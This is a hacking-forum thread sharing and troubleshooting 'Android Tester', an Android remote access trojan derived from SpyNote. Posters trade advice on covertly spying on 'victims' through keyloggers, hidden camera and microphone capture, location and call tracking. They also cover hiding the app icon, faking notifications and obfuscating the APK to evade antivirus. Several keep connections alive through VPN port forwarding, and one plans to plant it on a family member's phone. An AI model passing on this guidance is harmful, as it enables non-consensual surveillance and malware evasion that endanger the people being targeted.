Thread: [Android Tester v6.4.6 \[Release & Source Code\]](#)

kkkk - January 18, 2020, 5:01 pm

Hey,

It's been a long time! I am sharing the source codes & latest release of the app. Lets keep this project free, clean and collaborative. Please share your solutions/improvements on this thread. Help people.

On the other hand i am trying decompile android app into Android Studio. I'll share with you when its done.

Take care!

Download: [Android Tester 6.4.6](#)

Download: [Android Tester Source Code](#)

Make sure you have installed JRE before making a build.

How to change package name: [www . streamable . com/25hgl](#)

Code Changelog v6.4.6

- Remaining time fix @download manager
- Loading bar color change

Changelog v6.4.5

- Builder fix
- Unknown developer fix
- Unlocked extra camera resolutions
- Mic UI fix
- More.

Change Log v6.4.4

- Changed Stub (Android App) with new package name & certificates (Semi-FUD on all android emulators, test yours!)
- Fixed key logger issue
- Fixed file manager issue
- Removed SL.exe (1.5mb) and compiled new from the source as "BuildClient.exe" (40kb)
- Updated APK Tool @latest
- Renamed some file names

Change Log v6.4.3

- Removed automatic voice recording function. Now you can record mic manually
- Added some control on start/stop buttons

Change Log v6.4.2

- Non-Cracked & Clean!
- Runs on virtual machines (tested on oracle, hypervm, vmware)
- Removed version check function from SN server.
- Set front camera, 640x480 resolution and multicapture enabled as default
- Added front-back camera buttons to start quick capture
- Set portrait mode as default for front camera
- Added control on stop button at Camera Recorder (to prevent android app freeze)
- Microphone fix (don't forget to install Java Runtime Environment)
- Microphone recording (You have to install virtual audio cable for VMs OR choose stereo mix for recording on physical computer)
- Microphone recording quality is the same as listening quality (8, 11, 22 or 44khz)
- Double click client to open Client Folder
- Right click select fix (Now selects client on clients list)
- Changed location map to Yandex Maps (it does not require API key)
- Added 2 button to open location from the browser (Google & Yandex)
- Adjusted socket settings
- More.

Mafulen - January 18, 2020, 5:34 pm

Hey, thanks for sharing it.

Thank you Falcon4 for your pretty nice thoughts!

nutreon - January 21, 2020, 7:23 am

Hello,

does it work on old Android 4.1.2? Or does someone have a good tip for a rat that still works on this extremely old Version?

Because everytime I want to install the apk on the android-4.1.2-device, I get an error: "Cant parse package".

hnhackforums - January 21, 2020, 6:40 pm

(Jan 20, 2020 10:45 AM)kkkk Wrote: [\[CITE\]](#) Thank you Falcon4 for your pretty nice thoughts!Thanks a lot for yr great work, buddy.

But Android Tester v6.4.6 faces the same problem as v6.4.5, which can not build the apk(client) with the apktool v2.4.0.

So please downgrade apktool from v2.4.0 to v2.3.4

kkkk - January 22, 2020, 4:21 am

I also try the new version. Doesn't work. I come with APKTOOL 2.4.0. (i saw it when i start apktool.bat in C:\Building-6.4\apktool

Last version 6.4.5 works without Problems...

orionsec - January 22, 2020, 1:25 pm

thanks for sharing. bro

hnhackforums - January 22, 2020, 11:47 pm

(Jan 22, 2020 05:21 AM)kkkk Wrote: [\[CITE\]](#) Already downgraded to v2.3.4 till Android Tester v6.4.5. Clean your temp folders from windows\temp & also appdata\local\temp

Apktool.bat says the version is 2.4.0, not 2.3.4.

Pls check it out again, buddy.

And microphone of v6.4.6 works unsmoothly and unstably.

night2004 - January 23, 2020, 7:09 am

kkkk, this updated feature

kkkk - January 23, 2020, 7:24 am

(Jan 23, 2020 12:47 AM)hnhackforums Wrote: [\[CITE\]](#) Apktool.bat says the version is 2.4.0, not 2.3.4.

Pls check it out again, buddy.

And microphone of v6.4.6 works unsmoothly and unstably.

You are right, i forgot to change apktool with v2.3.4. I was working on new decompiling & signing methods.

You can replace your APK Tool file from "Resources\Imports\Payload\apktool.zip" with this [v.2.3.4](#)

I did not change anything with mic or socket settings. Your client has a slow connection speed i guess. Change the bitrate & try again.

Dark_Lion64 - January 23, 2020, 10:53 am

There is am modified Spynote called Mobihok, it has a feature to stream the display of the phone by taking a screenshot every second or so. But while using it, it has an icon in the status bar which gives it away, but you could do the same thing silently by doing screenshots with root. Die you think you could implement something like this?

BaJeesus - January 24, 2020, 10:04 am

hey, thanks for sharing
how do i use it?

klshn - January 24, 2020, 12:05 pm

thanks for sharing .
how do i use it? :)

night2004 - January 26, 2020, 6:00 am

kkkk
This program does not work properly in the Chinese version. I will not compile after I get the source code. Please teach me to recompile, at least to use the Chinese version of win10. Thank you.

Sh3r57 - January 26, 2020, 12:08 pm

Thanks for sharing nice app I really need. It's my first time trying Android rat. Thanks again and thankful to you if you share more stuff about Android hacking to me.

romass - January 27, 2020, 7:30 am

Is it possible to crypt the .apk file? Couse i just tried it out on my phone and it got detected as a trojan without any antivirus on the phone.

xximhxx - January 28, 2020, 9:41 am

fix keylogger icons please
fix camera 1 2 3 please
thank you

dump channel - February 6, 2020, 12:24 am

Yes, you need to re-obfuscate/re-align all smali files. It will FUD again for all AVS.

BrianFurious - February 7, 2020, 10:38 am

Is it possible to host the file somewhere else beside zippyshare too? My ISP or Countrywide is blocked and using VPN everytime is silly :S

YuZeRsF - February 7, 2020, 3:21 pm

1) You can use obfuscapk with linux shell on windows.

<https://github.com/ClaudiuGeorgiu/Obfuscapk>

<https://www.microsoft.com/en-us/p/ubuntu/9nblggh4msv6>

2) Yes packets are encrypted while transferring. And also keylogger files stored on the phone are encrypted.

3) If i have a time, ofcourse i can improve this app.

4) I am out of that channel actually :). Its not working anymore...

5) You can bind with any apk to fake it maybe?

Patrick Haas - February 24, 2020, 5:29 am

hide application and deactivate icon method not working , why?

one another thing , does screen record require root permissions?

In android emulators & samsung s9 it works.

In this stub root required for those shell commands, yes. You need to stop process via kill PID number like "kill 1234" to get png or mp4 files.

mmm mmm - February 25, 2020, 5:58 am

yes and in samsung A series

why i dont know what is PID number :| , stopping process of what? if i kill this kind of numbers will i get "screen shots wthout root access"?

well actually we should ask how to let the stub get root access?

YuZeRsF - February 26, 2020, 3:49 pm

hello kkkk

thanks for all nice reply ..

can i ask if the reboot the phone need root ?? if not , what is the right commands to make it , coz i try the some commands on imports file , but not work any of them ..

Just use "ps" in the terminal. Find PID number from your package name on the list. Then "kill PIDNUMBER" it will kill the stub then client will reconnect.

If "ps" not returns with all processes because of the kernel protection, use "logcat" first, then "ps", lastly kill the logcat with PIDNUMBER. You'll see your stub PID on the logcat.

mmm mmm - February 27, 2020, 12:53 pm

darkvirus - March 6, 2020, 6:23 am

Hello kkkk,

(I was replying on an older thread)

Thanks a lot for the great work you do, i would suggest adding a USSD code execution functionality! Let me know what do you think about that.

Also the settings for turning on GPS, Mobile data, Bluetooth and Wifi reset aren't working in Android 9 API 28.

Trooper123 - March 6, 2020, 7:00 am

Wow +1 saved me money have to out this in my brothers phone for my mom his having trouble with him smokeing weed and listening.

naxster - March 6, 2020, 10:01 am

Dam I remember when you released a modified SpyNote last year and it was working like eh hh..

I tried it yesterday and it's REALLY stable now!! I really appreciate this one! It's even better than SpyMax! :)

So thank you for all the updates and even the source code! :)

But all of the sudden i got this IP address... I don't live near US. How come this showed up all out of the blue? :/

But all of the sudden i got this IP address... I don't live near US. How come this showed up all out of the blue? :/

It's probably Honeypots. Use "Defend against DDOS Attack" when you start Android Tester

So maybe i'm blind or stupid, but can anyone tell me how i get access to the SD-Card? All i can find in the File Manager is the ordinary Phone Storage.

Use the "left" arrow at the top of the File Manager. Click 2 times till the "/storage" directory. You'll see internal & external storages.

Not that it doesn't matter since we can always use Audacity, but the recording the mic doesn't work. It records but when I try to play it's all scrambled sound :)

kkkk - March 9, 2020, 5:17 pm

Actually i've tested audio recording on win7, win8, win10 and also server 2016 with virtual audio cable, works okay.

(Mar 3, 2020 06:07 PM)YuZeRsF Wrote: [\[CITE\]](#) hello kkk
after i do re-obfuscate ,i use Obfuscapk tool from github witch you mention it , the apk come i test it its detetcted from play store , i use this

sequence
-o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment \

and plz can you explane i make the apk Obfuscated or smali files, ? if smali files where to get it ?
so plz any suggest , i wana make it fud ..

thanks
Hello!

Did you try other encryption methods like "ConstStringEncryption" or "AssetEncryption" ?

I'm not sure what you mean, but dont use no-ip. For testing you can use duckdns. Otherwise i would reccommend to use a vpn with portforwarding like nvpn. But at first you should test if you can run it at your local host.

kkkk - March 12, 2020, 3:40 am

All rats based on reverse connection, otherwise you need to open your communication port for each device. I am not even talking about how to open your port in android/iOS without root OR limitations from ISP's.

If you are not familiar with networking, please read about it first. Saying "it does not work" is simple.

Thanks.

Downgrade your apktool (2.4.0) to 2.3.4. You can find related apktool.zip @Android Tester v.6.4.5 in "Resources\Imports\Payload".

wesamsaref - March 15, 2020, 5:22 am

In trouble in this version. When trying the server on my mobile, it shows your application notifications that it plays with it, and a notification for the server appears that it is inside the gmail application and other applications specific to your device, and this will reveal to the victim the matter and cancel the server leak.

kkkk - March 15, 2020, 11:46 am

It is fake notification to keep app alive and prevent to show permission notifications like "android tester is using your camera OR mic".

(Mar 15, 2020 03:32 AM)kkkk Wrote: [\[CITE\]](#) Keylogger files are encrypted. You cannot see the content as plain text.

Is it really encrypted though? i can open the .log files with plain text editor and see the messages and events, it's all just clumped up like in a never-ending paragraph, with some illegible text in-between, guessing those are UI elements?

Anyways, the SN keylogger opens those .log files and displays them correctly, is there any way i can open that keylogger without being connected to the client and drag drop the logs into it? or maybe through a command?

kkkk - March 16, 2020, 12:00 am

Check your clients\clientname\keylogger folder. When you get the log files, its also saving as html.

Is that something only unique to Android Tester? I just recently switched from SN6.4 and never saw that. Unfortunately

the log files i need are saved inside the RAT folder on the clients phone as .log. I exported them all, i just somehow need access to the keylogger offline and drag->drop or something similar. ?

alialmlk - March 16, 2020, 2:52 am

hello sir i have a little problem hope you can help me problem is when i install the apk on android is non-encrypt meas android will delete the apk

second problem when i install apk on android is come to my pc and fine i can control but when i tourn wifi off and on again is not come to me this i a big problem i lose the victims what i should do i have every think fine with openvpn and portmap.io

victims after reconnect on wifi not come why ?

victims after reconnect on wifi not come to my pc why ???

(Mar 15, 2020 04:33 PM)kkkk Wrote: [\[CITE\]](#) Android Tester v6.4.6 has Apktool 2.4.0, AT v6.4.5 has Apktool 2.3.4. Download AT 6.4.5, find apktool.zip inside, copy it, paste into related folder in AT 6.4.6.

Hi kkkk, thank you for your reply

I followed your procedure but I still get the exact same error, (I re-cleared the temp files).

brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = -1073741515):

I've decompiled smali files 100% success. Now i am working on porting stub into Android Studio.
After that we can add any feature in it.

wesamsaref - March 17, 2020, 1:14 pm

Please add the feature to hide the application notifications during installation.
Hide notifications. (doze)
As in spymax2
And adding stability to the server at the victim

eduardom97 - March 17, 2020, 3:17 pm

good work bro, working fine here on Win server 2k8 R2.
audio listening ok, live cam e cam corder ok, files ok, keylogging ok, make calls and other features, i
have a sugest and ask, how to set default zoom of location to 94%? when click on "sattelite view" no
changes, only show when i click less zoom, but working fiine!!!!

kkkk - March 17, 2020, 4:55 pm

changes, only show when i click less zoom, but working fiine!!!!
Its a limitation of Yandex Maps for specific countries i guess (zoom level). For get rid of the google
maps API problem (blank map), i've switched yandex maps iframe method.

I'll check zoom issue and let you know.

hgh6688 - March 18, 2020, 10:21 am

Hello kkkk
Keylogger cannot be run under huaweiAndroid 10 system, background programs are always killed,
you need to reopen the software to continue monitoring

Hi kkkk
www.youtube.com/watch?v=PYSmXI07KUA
Did you post this video?
Can you give me a copy? I want to learn.

kkkk - March 18, 2020, 12:53 pm

No it's not mine. I dont have any clue about it.
PS: Video is private.

hgh6688 - March 18, 2020, 1:34 pm

Ok, this software is really powerful

kkkk - March 19, 2020, 2:22 pm

(Mar 18, 2020 01:34 PM)hgh6688 Wrote: [\[CITE\]](#) Ok, this software is really powerful
Glad to hear its working. Thanks!

wesamsaref - March 19, 2020, 3:13 pm

Please add the new version to add to it

Delete server notifications

Removed All Notification

We want to add screen shot and screen capture

Show this person modified on spynote

Turn off the feature of server notifications, but this version is unfortunately for sale

????

Ai5000Ultima - March 19, 2020, 4:20 pm

Thank you kkkk, working perfectly now :).

One more thing: for microphone, when i click "listen", it seems to redirect me to winrar. How do i resolve this?

Anyway to get merge app working?

kkkk - March 19, 2020, 5:33 pm

Replace the default app for .jar files. In your case, Winrar is the default app for jar files but should be JRE.

Ai5000Ultima - March 20, 2020, 4:13 am

Great! that solved the issue. thanks.

It seems I am able to only see the phone for around 1 hour before it disappears permanently (unless the user manually re-opens the app). is there a work around it?

kkkk - March 20, 2020, 4:18 am

hgh6688 - March 22, 2020, 3:54 am

hi kkkk

In Huawei Android system, the program cannot continue to run in the background. When I quit the program page, the background disappeared. I cannot control it on my computer. Only when I reopen the program will he reconnect to my computer. Do you know how to avoid being killed during the installation process? If you have time, post the relevant video on YouTube. Sorry i'm newbie ??,???????,????!

Patrick Haas - March 26, 2020, 1:22 pm

(Jan 18, 2020 06:01 PM)kkkk Wrote: [\[CITE\]](#) Hey,

It's been a long time! I am sharing the source codes & latest release of the app. Lets keep this project free, clean and collaborative. Please share your solutions/improvements on this thread. Help people.

On the other hand i am trying decompile android app into Android Studio. I'll share with you when its done.

Take care!

Download: [Android Tester 6.4.6](#)

Download: [Android Tester Source Code](#)

Make sure you have installed JRE before making a build.

How to change package name: [www . streamable . com/25hgl](http://www.streamable.com/25hgl)

Code Changelog v6.4.6

- Remaining time fix @download manager
- Loading bar color change

Changelog v6.4.5

- Builder fix
- Unknown developer fix
- Unlocked extra camera resolutions
- Mic UI fix
- More.

Change Log v6.4.4

- Changed Stub (Android App) with new package name & certificates (Semi-FUD on all android emulators, test yours!)
- Fixed key logger issue
- Fixed file manager issue
- Removed SL.exe (1.5mb) and compiled new from the source as "BuildClient.exe" (40kb)
- Updated APK Tool @latest
- Renamed some file names

Change Log v6.4.3

- Removed automatic voice recording function. Now you can record mic manually
- Added some control on start/stop buttons

Change Log v6.4.2

- Non-Cracked & Clean!
- Runs on virtual machines (tested on oracle, hypervm, vmware)
- Removed version check function from SN server.
- Set front camera, 640x480 resolution and multicapture enabled as default
- Added front-back camera buttons to start quick capture
- Set portrait mode as default for front camera
- Added control on stop button at Camera Recorder (to prevent android app freeze)
- Microphone fix (don't forget to install Java Runtime Environment)
- Microphone recording (You have to install virtual audio cable for VMs OR choose stereo mix for recording on physical computer)
- Microphone recording quality is the same as listening quality (8, 11, 22 or 44khz)
- Double click client to open Client Folder
- Right click select fix (Now selects client on clients list)
- Changed location map to Yandex Maps (it does not require API key)
- Added 2 button to open location from the browser (Google & Yandex)
- Adjusted socket settings
- More.

Is it possible to use more than 1 IP/Host like in SpyMax? Because i'm using it with nvpn but since 3 Days my Main Server is offline. With more than 1 IP i could change the Server Region to re-use it. Otherwise i have to make a new build and install it on all the devices again?

kkkk - March 26, 2020, 3:30 pm

(Mar 26, 2020 01:22 PM)Patrick Haas Wrote: [\[CITE\]](#) Is it possible to use more than 1 IP/Host like in SpyMax? Because i'm using it with nvpn but since 3 Days my Main Server is offline. You can change your new host parameters when the client is online. In the main menu , you'll see edit client option. Edit client & save. Then right click client @clients windows, select reconnect. Client will reconnect with new parameters.

lathack - March 26, 2020, 5:01 pm

Cant fucking understand whuy????? I tested many features in this forum...etc but again have this fucking problem,i go crazy

Same as me on Realme 5 Pro with old server (android tester 6.4.5), I made new server with android tester 6.4.6 and i will test it again.

I tried to decompile apk and edit manifest.xml file to make target sdk 29 but didn't test it yet. You can try it and let me know if it works for you.

Maybe @kkkk help us with this.

Good luck

Fud apk for google play protect only or and device protect too? What about McAfee, Avast, 360 security, Kaspersky.. ?

I already pass Google play protect, but not device security yet.

This does not work for me even when I deleted some unneeded permission in manifest file. Still detected by avast and McAfee.?

Is deleting permission works in Fud with you??

lathack - March 27, 2020, 3:38 pm

Do I need to use no-ip if i am having a dynamic ip?? Will having a vpn help?

Patrick Haas - April 7, 2020, 4:08 pm

(Apr 7, 2020 12:42 AM)Niltsar00 Wrote: [\[CITE\]](#) Do I need to use no-ip if i am having a dynamic ip?? Will having a vpn help?

Never ever use No-IP and/or DuckDns. They will record your activity, block your DNS and in worst case give your Information to 3rd-Party.

Use a VPN with Portforwarding like nvpn.

Niltsar00 - April 9, 2020, 9:15 am

Any video link to setup this rat? Which IP should i do port forwarding as I am behind router? The internal(intranet) or external(ISP) IP??

deepkeks - April 9, 2020, 11:48 am

Can this be made a system app, to stay persistent after factory reset?

above are last few commands which i am posting.

ib3r1c0 - April 11, 2020, 10:19 am

Hi,

Is it possible to uninstall the application remotely?

Thanks in advance.

emem - April 12, 2020, 6:36 am

What was the keylogger issue that was fixed in 6.4.4 version?

eduardom97 - April 12, 2020, 11:09 am

hi again,again, good work.

the compiled application cant install on Android GO devices, if you can fix it, thanks bro <3

D33PN3T - April 13, 2020, 5:05 pm

Hello kkkk

It would be great if you could add some features to your AndroidTester

- 1- Delete the desired SMS
- 2- Installing apk files remotely on the target phone
- 3- Execution the link on the target phone
- 4- Protect payload apk against any antivirus
- 5-Embed or Bind payload to apk

fahad50sm - April 13, 2020, 11:59 pm

hi can you make the same camera manger in spy max v2

Rs6 - April 14, 2020, 8:25 am

I would be grateful if you add in "Client Name" function rename.

Thanks

kkkk - April 14, 2020, 5:03 pm

(Apr 14, 2020 08:25 AM)Rs6 Wrote: [\[CITE\]](#) I would be grateful if you add in "Client Name" function rename.

Thanks

You can edit client settings from the main menu. Follow "Edit Client". You can change all credentials like client name, host name, port & password. After edit, don't forget to reconnect client.

ahmedeheid81 - April 14, 2020, 5:13 pm

Hi kkkk

in previous versions there was an option to put my own package name, but now is not
can you please add it again?
thanks in advance

What was the keylogger issue that was fixed in 6.4.4 version?

Also could you please add a timestamp on your changelog after update. If you're done with porting the app to android studio lmk as i'd like to contribute. I've managed to reverse engineer it but my

lack of android studio experience doesn't help me with successfully compiling it hah

Abdulmanan0331 - May 2, 2020, 6:33 pm

The SHELL TERMINAL of this android tester v6.4.6 doesn't work. I don't know why @kkkk please can you tell me what could be the issue?

Getting the following error, but shell works for metasploit -> meterpreter:

```
0 return null
1 Fail 1
2 >>>>>>>>>>>>>>> dsf
3 error! >Cannot run program "dsf": error=13, Permission denied
4 Fail 1
5 >>>>>>>>>>>>>>> adb
6 error! >Cannot run program "adb": error=13, Permission denied
7 Fail 1
8 >>>>>>>>>>>>>>> cd
9 error! >Cannot run program "cd": error=13, Permission denied
10 Fail 1
11
```

Orvis - May 7, 2020, 2:21 pm

Hello,

I'm using 6.4 version.

I encountered an issue : When I open keylogger, on the offline tab, there are one file per day. That's correct. I can get one of my choice.

When I open the online tab and hit start, it starts showing keylogging in real time. That's correct.

But, once I stop the online keylogging, I notice that the online part is missing from the offline file. It looks like what was keylogged on the online tab as not keylogged as well in a log file in the offline tab.

Is that normal ? If so, that is awful because I miss hours of crucial logging...

(sorry to repost in this thread, I kust noticed that this was the most recent thread about this RAT)

4751 - May 8, 2020, 3:51 am

can you please tell how can i embed payload with any random apk . Like metasploit.

Jordi - May 11, 2020, 10:51 am

I cannot get a FUD apk with obfuscapk, anti-virus always detect the rat. I don't click in resolve as antivirus asks and Android Tester works perfectly! But I would prefer make the rat fud... Any idea?

Orvis - May 13, 2020, 4:29 pm

Where are the saved files when recording the microphone ?

emem - May 17, 2020, 7:04 am

OP is offline for some time :(eh

cazadorville1 - May 21, 2020, 6:18 pm

Now delete Temp files, replace apktool to version 2.3.4 and it still doesn't work. continue with version 2.4.0 of Apktool :(

Duskly - May 22, 2020, 5:52 am

Hi =)

Thank you very much for the source, but there was an error compiling
What could it be?

I downloaded apktool 2.3.4.jar, renamed it, and put apktool.zip in the archive
AndroidTester v6 \ AndroidTester \ bin \ Release \ Resources \ Imports \ Payload \ apktool.zip

but the error did not disappear, 2.4.0 is used anyway..

Also, I downloaded 6.4.5, changed the archives and even that didn't help, it says 2.4.0 version is used

(May 22, 2020 05:52 AM)Duskly Wrote: [\[CITE\]](#) Hi =)

Thank you very much for the source, but there was an error compiling
What could it be?

I downloaded apktool 2.3.4.jar, renamed it, and put apktool.zip in the archive
AndroidTester v6 \ AndroidTester \ bin \ Release \ Resources \ Imports \ Payload \ apktool.zip

but the error did not disappear, 2.4.0 is used anyway..

Also, I downloaded 6.4.5, changed the archives and even that didn't help, it says 2.4.0 version is used

I: Building resources...

```

use spynote to make apk

Duskly - May 23, 2020, 3:14 pm

Why is microphone recording not saved?

I3op - May 24, 2020, 5:24 am

What about the Android client source code? Is there any chance to have it?
regards

aftabali - May 24, 2020, 11:15 pm

Update this please with new features :D live screen grabbing

@abcde - May 30, 2020, 3:39 am

not receiving connection in Android Tester 6.4.6 whereas getting connection for same ip and port in Android tester 6.4.5 and below

mmm mmm - May 30, 2020, 2:35 pm

hi

recently the key logger tells "can not access" , it was working with the same client

jokaescobar - May 30, 2020, 5:26 pm

has anybody been able to get this to connect to a phone in Virtua machine the program opens but don't connect

lokichopa - May 31, 2020, 8:07 am

APP NOT INSTALLED ??? not working for me

eduardom97 - June 1, 2020, 8:47 pm

hi, again bro, can you put another mirror to download?
<3

shabbu.shah - June 4, 2020, 10:51 am

Thanks for the share brother

emem - June 4, 2020, 11:28 am

(May 30, 2020 02:35 PM)mmm mmm Wrote: [\[CITE\]](#) hi

recently the key logger tells "can not access" , it was working with the same client
Target device needs to enable accessibility for the payload app

karacafatih188 - June 13, 2020, 11:14 am

Hi,
Does the multi-shot in the camera option leave any traces on the phone?

ahmedeheid81 - June 13, 2020, 12:43 pm

(Jun 13, 2020 11:14 AM)karacafatih188 Wrote: [\[CITE\]](#) Hi,
Does the multi-shot in the camera option leave any traces on the phone?
No....

The only thing makes files on victim device is the keylogger, it makes *.log files in a folder

karacafatih188 - June 13, 2020, 4:21 pm

(Jun 13, 2020 12:43 PM)ahmedeheid81 Wrote: [\[CITE\]](#) No....
The only thing makes files on victim device is the keylogger, it makes *.log files in a folder
Thank you very much dude..

Fradao - June 17, 2020, 9:15 am

will you help me with setup

mmm mmm - June 17, 2020, 1:24 pm

however thanks to bro @kkkk , the rat can be much better if the payload can have root access without victims asking for permission , i mean whatsapp can do that but i dont have any idea of why payloads cant

rogetn1 - June 20, 2020, 8:11 am

Thank you for sharing..
Knowledge is power!

Everything is working here.

sanyad - June 20, 2020, 10:35 pm

UPDATE : Resolved by apktool2.3.4. Now working.

ahmedeheid81 - June 22, 2020, 4:32 am

Hi all

anyone try terminal on NEW Xiaomi or Realme or Huawei phones?? "ps" terminal order does not give me anything, just three processes not all (all with android 7+) and on emulator too (with android 4, 5, 7). That was not happen before.

Is this normal?

@kkkk

Location manager is not working anymore.

sanyad - June 22, 2020, 7:57 am

Doing research on Android Tester 6.4.6 Vs SpyNote 6 Vs SpyXtreme

1. SpyXtreme is excellent in a way that the payload, once installed in the victim phone, disappears from the main screen as well as app listings. Accessible only through Manage App. In general no, one can see if any app/payload is installed and remain discreet up to some extent. Both Spynote & Android Tester are lacking this. Although Android Tester has good software with fewer bugs the generated payload, after installing on victim phone, will appear on main screen as well list of apps so on the main screen anyone can tweak and judge that something is alarming. There is no option to delete the payload icon from main screen (Only Uninstall option is there). Any Tweak to rectify the issue? Generate payload so that it hides from the main screen/list of apps although will or will not be accessible thorough Manage App.

2. Used APK Signer app which can sign any app so as to prevent from Google App Protection but AV still detects all such apps as malware/virus. Any resolution??

3. The in-app binders not working well as the only payload will be installed and bonded app not installed..... No use of app binder in such cases... Any resolution??

4. Using Audacity to record Audio of Microphone option... Inbuilt Record option not working... Tried Stereo Mix but not working.

5. Any resolution to run the payload fully discreet ???

Location manager is not working anymore.

Used on Xiaomi Redmi Note 7 Pro... OnePlus 7T ... Mipad Tab working well. Location Manager working well after enabling gps.

Keylogger works after enabling app in accessibility option.....

Audio Record not working on any of the above phones as well Jason emulator.

(Jun 20, 2020 08:11 AM)rogetrn1 Wrote: [\[CITE\]](#) Thank you for sharing..
Knowledge is power!

Everything is working here.

Have u tried Microphone Record Option? Listen is OK but Record not working...

Although Android Tester has good software with fewer bugs the generated payload, after installing on victim phone, will appear on main screen as well list of apps so on the main screen anyone can tweak and judge that something is alarming. There is no option to delete the payload icon from main screen (Only Uninstall option is there). Any Tweak to rectify the issue? Generate payload so that it hides from the main screen/list of apps although will or will not be accessible thorough Manage App.

* you have to click icon once in first time to activate keylogger then it will disappear.

2. Used APK Signer app which can sign any app so as to prevent from Google App Protection but AV still detects all such apps as malware/virus. Any resolution??

*you have to crypt your server

3. The in-app binders not working well as the only payload will be installed and bonded app not installed..... No use of app binder in such cases... Any resolution??

*never try. I use server alone.

4. Using Audacity to record Audio of Microphone option... Inbuilt Record option not working... Tried Stereo Mix but not working.

*choose voice recognition first (not default) and try again

5. Any resolution to run the payload fully discreet ???

*not understand

Used on Xiaomi Redmi Note 7 Pro... Oneplus 7T ... Mipad Tab working well. Location Manager working well after enabling gps.

Keylogger works after enabling app in accessibility option..... that is ok, no problem with that, it works fine for me

Audio Record not working on any of the above phones as well Jason emulator.

*choose voice recognition first (not default) and try again

Have u tried Microphone Record Option? Listen is OK but Record not working...

*yes, it works fine but with low recorded audio

(Jun 22, 2020 07:57 AM)sanyad Wrote: [CITE](#) Doing research on Android Tester 6.4.6 Vs SpyNote 6 Vs SpyXtreme

Thanks a lot for sparing time to reply to the thread.

As far as Crypter is concerned, it will prevent payload being detected by AVs? But by discreet I mean that the payload shouldn't appear in any app list and user can only get rid of the payload by format the phone. No option to uninstall for payload. Can u suggest crypter for apk payload to hide it from AVs?

Can't we make payload my Kali Linux for Spynote or Android Tester like LHost & LPort commands only as Kali has a lot of crypters & binders inbuilt.?

Dear @kkkk. My words were not for you. Obviously, you are working a lot to resolve things. I was saying about some other guys who start a new thread saying that they want to help newcomers without any greed or money. They supply their DISCORD handle and when we ask them any query on discord they write that I will help you but charge a fee. I was saying about some people on the forum, not you. I am really sorry as u took it on you.

Nguyen The Vinh - July 4, 2020, 11:20 pm

You are the best RAT producer I've ever known. Try to keep your spirits up and develop it further in the future ????. Thanks very much. ???

(Jul 18, 2020 10:13 AM)X3ROCOOL Wrote: [\[CITE\]](#) camera streaming not working on 2nd time, anybody fixed it?

sorry for my grammar

What is device name and android version?

open terminal and type "ps" without couts
search your server package name and make a note of its PID number

type kill PIDNUMBER, like this: kill 1234
where PID number is you package number

then press OK, the server will restart and you will can watch camera again?

Sometimes you cannot get process ID's with "ps" due to kernel protection. In that situation;

- 1) type "LOGCAT" first. This will log anything on the phone till you kill the log process.
- 2) then use "PS" to get logcat ID.
- 3) kill logcat with "kill LOGCATID"
- 4) You'll see the running proceses list.
- 5) Kill your app with "kill APPID"

ZoneHacker - July 23, 2020, 1:26 am

Hi kkkk,

Thanks for this share, the software working well :)
But it doesn't works with no-ip, any idea why ?

Thanks in advance.

ahmedeheid81 - August 18, 2020, 3:51 pm

Hi all

Anyone facing problem when recording calls (or listening to calls) on android 9 & 10 , just change audio source from "Default" to "Voice_Recognition".

boruto6677 - August 22, 2020, 6:30 am

I was unable to build the payload file, an error occurred here.

Dexie - August 22, 2020, 6:44 am

Thanks for the release, could help some people learn.

calores - August 25, 2020, 12:15 pm

Hello

How is it that the application is not hidden?

mr.tnt2020 - August 26, 2020, 11:12 pm

(Jan 19, 2020 06:22 AM)lonutGeorge Wrote: [CITE](#) i have a problem with this RAT i can't build apk application, please add me on discord: GeorgeZ#0688
you want to install java jdk jdk-8u261-windows-i586.exe the when you build your batch chose the java.exe file from c:/programx86/java/java.exe >>>
it will work < but my problem is i did not see the victim on the up bored .
and the big problem it is how to bypass a premise app on android .
good luck

intotheblues123 - August 30, 2020, 1:42 pm

hi bro which android versions it supports bro ?

noroku64 - August 30, 2020, 4:02 pm

Thanks for sharing. I'm going to check this out.

Nyaphack - August 30, 2020, 8:33 pm

(Mar 18, 2020 10:21 AM)hgh6688 Wrote: [\[CITE\]](#) Hello kkkk

Keylogger cannot be run under huaweiAndroid 10 system, background programs are always killed, you need to reopen the software to continue monitoring

Hi kkkk

www.youtube.com/watch?v=PYSmXI07KUA

Did you post this video?

Can you give me a copy? I want to learn.

are you still having this problem? I found a way to fix it I'd type it out but since this is an old post I wanna check first before typing for nothing

imagine92 - September 1, 2020, 7:22 am

Nyaphack - September 1, 2020, 1:46 pm

(Sep 1, 2020 07:22 AM)imagine92 Wrote: [\[CITE\]](#) had this issue too on vivo and oppo device. how you solve this? thx

you have to go to "Phone Manager" then look for "ignore optimizations" then look on the list of apps and find your RAT and set it to "allowed" also enable it as a Device Administrator. then it won't switch off the accessibility.

x07x - September 2, 2020, 4:16 am

(Jan 18, 2020 06:01 PM)kkkk Wrote: [\[CITE\]](#) Hey,

It's been a long time! I am sharing the source codes & latest release of the app. Lets keep this project free, clean and collaborative. Please share your solutions/improvements on this thread. Help people.

On the other hand i am trying decompile android app into Android Studio. I'll share with you when its done.

Take care!

Download: [Android Tester 6.4.6](#)

Download: [Android Tester Source Code](#)

Make sure you have installed JRE before making a build.

How to change package name: [www . streamable . com/25hgl](http://www.streamable.com/25hgl)

Code Changelog v6.4.6

- Remaining time fix @download manager
- Loading bar color change

Changelog v6.4.5

- Builder fix
- Unknown developer fix
- Unlocked extra camera resolutions
- Mic UI fix
- More.

Change Log v6.4.4

- Changed Stub (Android App) with new package name & certificates (Semi-FUD on all android emulators, test yours!)
- Fixed key logger issue
- Fixed file manager issue
- Removed SL.exe (1.5mb) and compiled new from the source as "BuildClient.exe" (40kb)
- Updated APK Tool @latest
- Renamed some file names

Change Log v6.4.3

- Removed automatic voice recording function. Now you can record mic manually
- Added some control on start/stop buttons

Change Log v6.4.2

- Non-Cracked & Clean!
- Runs on virtual machines (tested on oracle, hypervm, vmware)
- Removed version check function from SN server.
- Set front camera, 640x480 resolution and multicapture enabled as default
- Added front-back camera buttons to start quick capture
- Set portrait mode as default for front camera
- Added control on stop button at Camera Recorder (to prevent android app freeze)
- Microphone fix (don't forget to install Java Runtime Environment)
- Microphone recording (You have to install virtual audio cable for VMs OR choose stereo mix for recording on physical computer)
- Microphone recording quality is the same as listening quality (8, 11, 22 or 44khz)
- Double click client to open Client Folder
- Right click select fix (Now selects client on clients list)
